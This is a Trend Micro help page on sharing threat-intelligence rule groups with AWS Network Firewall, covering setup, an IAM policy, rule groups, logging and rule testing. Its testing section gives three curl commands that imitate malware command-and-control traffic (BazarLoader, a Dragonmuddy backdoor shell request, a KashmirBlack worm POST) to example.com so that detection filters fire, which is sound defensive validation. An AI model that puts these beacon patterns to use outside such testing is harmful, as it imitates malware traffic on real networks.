Share threat intelligence with AWS | Trend Micro Service Central

With AWS Network Firewall, you can use a subset of Network Security’s managed threat intelligence to detect and disrupt common network-based threats. It enables you to deploy your AWS-managed network infrastructure and pair it with industry-leading, partner-supported threat intelligence, which focuses on detecting and disrupting malware in your environments. This threat intelligence includes resources and rule groups that can be shared across all available regions of the AWS Network Firewall service.

Enable Sharing

To enable this sharing so that Network Security rule groups can be applied to your AWS Network Firewall:

Procedure

From the navigation panel, click the Policy icon and select Sync Management.
In the AWS Network Firewall section, click Configure Sharing.
In the Share Threat Intelligence with AWS dialog, enter the AWS account ID with which you want threat intelligence shared. After you add an account for sharing, you cannot disable or further manage threat intelligence sharing on that account.
Accept the terms and services, and click Enable Sharing.

Verify rule group sharing

Verify that the rule groups have been successfully shared using one of the following interfaces:

AWS Resource Access Manager
AWS Network firewall

Note

When you click Enable Sharing after configuration, you perform a one-time acceptance of the rule groups shared by Network Security in your AWS Resource Access Manager. Rule groups will be automatically updated every week.

In order for the admin of the account to enable resource sharing with non-admin users on the account, the admin must enable the permissions of the non-admin IAM role with AWSResourceAccessManagerResourceShareParticipantAccess so that the invitation to share a resource can be accepted:

{
  "Version": "****-**-**",
  "Statement": [
    {
      "Action": [
        "ram:AcceptResourceShareInvitation",
        "ram:GetResourcePolicies",
        "ram:GetResourceShareInvitations",
        "ram:GetResourceShares",
        "ram:ListPendingInvitationResources",
        "ram:ListPrincipals",
        "ram:ListResources",
        "ram:RejectResourceShareInvitation"
      ],
      "Effect": "Allow",
      "Resource": "*"
    }
  ]
}

Non-admin users cannot disassociate from a shared resource. If they attempt to do so, they will receive a permissions error.

All rules are set to block traffic by default. To learn more about the rules that might be blocking traffic in your environment, click the Policy icon

in the navigation panel, select Intrusion Prevention Filtering, and then enter the specific filter rule name or ID in the Search field.

Refresh your AWS Resource Access Manager page to verify that your Network Security account has been successfully Associated under Shared principals.

Shared rule groups

To inspect traffic, AWS Network Firewall uses both stateful rules and stateless rules. Similar to Amazon VPC network access control lists (ACLs), stateless rules target inspection on the individual packet itself, regardless of contextual factors such as the direction of the flow or the existence of established connections. In contrast, the inspection performed by stateful rules relies on the context of traffic flow. Stateful rules are more complex, and they enable you to log network traffic as well as Network Firewall alerts on the traffic.

Stateless rules

Stateless rule groups can be divided into the following two functions:

BLOCK rule (*-rulegroup-json) – Use these rules if all you want to do is block traffic.
ALLOW rule (*-rulegroup-allow-json) – Use these rules if you want to permit the traffic and then verify any detected events by having them sent to the stateful engine for analysis and logging.

The following table summarizes the stateless rule groups shared by Network Security. Current capacity limitations confine you to selecting only one rule group that best suits your network environment.

Rule group	Description	Rule/IP count	AWS action
repdv-rulegroup-jsonandrepdv-rulegroup-allow-json	These IPs derive from many sources, including unroutable IPs (full bogons), known links to spam operations (Spamhaus), and known IPs used by various malware/trojans.	2388	aws:dropandaws:forward_to_sfe
repdv-rulegroup-tor-exits-jsonandrepdv-rulegroup-tor-exits-allow-json	These IPs are the gateways used by Tor traffic to connect to the internet. For more information on Tor exit nodes, refer to the CISA report.	1331	aws:dropandaws:forward_to_sfe
repdv-rulegroup-wrs-top-ips-jsonandrepdv-rulegroup-wrs-top-ips-allow-json	The top 5000 most hit IPs from the Email Reputation Service mail transfer agent (ERS MTA) suspicious IP list.	5000	aws:dropandaws:forward_to_sfe

Stateful rules

By inspecting packets in the context of their traffic flow, the stateful rules engine can delay packet delivery so that packets can be grouped for traffic flow inspection. The shared stateful rule group, snort-mrs-snort-rules-json, is a powerful subset of the malware rules included with the service. It consists of approximately 128 rules with a capacity limit of 1000. You can add this rule group to your firewall policy to protect your VPCs. Learn more about all malware rules by Intrusion Prevention filtering.

Create firewall policies

After accepting the rule groups shared by Network Security, assign the rule groups to a policy with a stateless or stateful rule group so that traffic can be forwarded to a Network Security rule group. Learn more about optimizing your firewall policy.

When configuring a firewall policy, be sure to calculate the number of rules that you expect to have in your rule group during its lifetime. This is important because, after you specify this limit, you cannot change it again. The maximum number of rules you can have in a stateful rule group is 30,000, and the maximum for a stateless rule group is 10,000 rules.

Configure firewall

After you have configured your firewall policy with its threat intelligence rule groups, you must then associate the policy with a configured AWS network firewall.

Procedure

From your AWS VPC, navigate to AWS NETWORK FIREWALL > FIREWALLS > firewallname > Firewall details.
In the Associated policy and VPC policy panel, click Edit.
Select Associate an existing firewall policy.
Select the firewall policy to associate with the firewall and click Save.

Configure logging

To log events whenever traffic matches the rule criteria:

Procedure

From your AWS VPC, navigate to AWS NETWORK FIREWALL > FIREWALLS > firewallname > Firewall details.
In the Logging panel, click Edit.
In the Log type panel, specify whether you want traffic hits to be recorded by selecting the Flow checkbox. If you also want to be alerted, select the Alert checkbox.
If you configured Alert logs in the preceding step, specify in the Log destination for alerts panel where you want the logs to be sent and the associated log group.

Testing your rule groups

To verify that your rule groups are configured correctly, first ensure that you have met the following prerequisites:

You have added the shared stateful rule (networksecurity-snort-mrs-snort-rules-json) to your firewall policy.
You have associated your firewall policy with a firewall.
You have configured your firewall to forward any full packets that do not match the stateless rule group to the stateful engine for inspection, and that alert logs are generated when a packet matches the stateful rule group.
You deploy your firewall to protect your VPCs, which should contain at least one running instance. Learn more about AWS Network Firewall architecture.

After completing these prerequisites, you can use curl queries to trigger the following malware filters and verify that your rules are working. All of these filters handle the outbound traffic over the HTTP port (port 80):

For HTTP: Trojan-Downloader.Win64.BazarLoader.A Runtime Detection (filter 25492), enter the following command:

curl -H 'User-Agent:
                  sdvntyer' http://www.example.com/api/v88

Then verify the output in the alert log:

{
    "firewall_name": "...", 
    ...
    "event": { 
         "timestamp": "...",
        ...
        "dest_ip": "93.184.216.34", 
        "dest_port": 80, 
        "proto": "TCP", 
        "tx_id": 0, 
        "alert": { 
            "action": "allowed", 
            "signature_id":..., 
            "rev": 1, 
            "signature": "Malware Trojan-Downloader.Win64.BazarLoader.A Runtime Detection - (DECRYPTED TRAFFIC)", 
            "category": "", 
            "severity": 3 
        }, 
        "http": { 
            "hostname": "www.example.com", 
            "url": "/api/v88", 
            "http_user_agent": "sdvntyer", 
            "http_method": "GET", 
            "protocol": "HTTP/1.1", 
            "length": 0 
        }, 
        "app_proto": "http" 
    } 
 }

For HTTP: Backdoor.Shell.Dragonmuddy.A Runtime Detection (filter 34738), enter the following command:

curl
                  'http://www.example.com/includes/main.php?t=7d4580a3910c54d62b46f24c397c8d59&f=g2&type=cmd&id=D7CB4B6E5A21CA596DE0A7E10059C85E'

Then verify the output in the alert log:

 {
    "firewall_name": "...", 
    ...
    "event": { 
        "timestamp": "...", 
        ...
        "dest_ip": "93.184.216.34", 
        "dest_port": 80, 
        "proto": "TCP", 
        "tx_id": 0, 
        "alert": { 
            "action": "allowed", 
            "signature_id": ..., 
            "rev": 1, 
            "signature": "Malware Backdoor.Shell.Dragonmuddy.A Runtime Detection", 
            "category": "", 
            "severity": 3 
        }, 
        "http": { 
            "hostname": "www.example.com", 
            "url": "/includes/main.php?t=7d4580a3910c54d62b46f24c397c8d59&f=g2&type=cmd&id=D7CB4B6E5A21CA596DE0A7E10059C85E", 
            "http_user_agent": "curl/7.68.0", 
            "http_method": "GET", 
            "protocol": "HTTP/1.1", 
            "length": 0 
        }, 
        "app_proto": "http" 
    } 
}

For HTTP: Worm.Python.KashmirBlack.A Runtime Detection (filter 38451), enter the following command:

curl -H 'User-Agent:
                  ArcherGhost' -d
                  'post=eyJkYXRhIjogeyJkb21haW4iOiAiaHR0cDovL3RhcmdldDEyMy5jb20vYXNzZXRzL3ZlbmRvci9waHB1bml0L3BocHVuaXQvc3JjL1V0aWwvUEhQL3Nzc3AucGhwIiwgInNlcnZlciI6ICIxOTIuMTY4LjEwNy4xOSIsICJ0aXRsZSI6ICJqcSJ9LCAidHlwZSI6ICJzY2FubmVyIn0%3D'
                  http://www.example.com/adeliap/404.php

Then verify the output in the alert log:

{
    "firewall_name": "...", 
    ...
    "event": { 
        "timestamp": "...",
        ...
        "dest_ip": "93.184.216.34", 
        "dest_port": 80, 
        "proto": "TCP", 
        "tx_id": 0, 
        "alert": { 
            "action": "allowed", 
            "signature_id": ..., 
            "rev": 1, 
            "signature": "Malware Worm.Python.KashmirBlack.A Runtime Detection - (DECRYPTED TRAFFIC)", 
            "category": "", 
            "severity": 3 
        }, 
        "http": { 
            "hostname": "www.example.com", 
            "url": "/adeliap/404.php", 
            "http_user_agent": "ArcherGhost", 
            "http_method": "POST", 
            "protocol": "HTTP/1.1", 
            "length": 0 
        }, 
        "app_proto": "http" 
    } 
}

Learn more about these filters by searching on them using their filter numbers (for example, 25492, 34738, or 38451). For troubleshooting assistance, click Help > Support from the upper-right corner and submit a support case.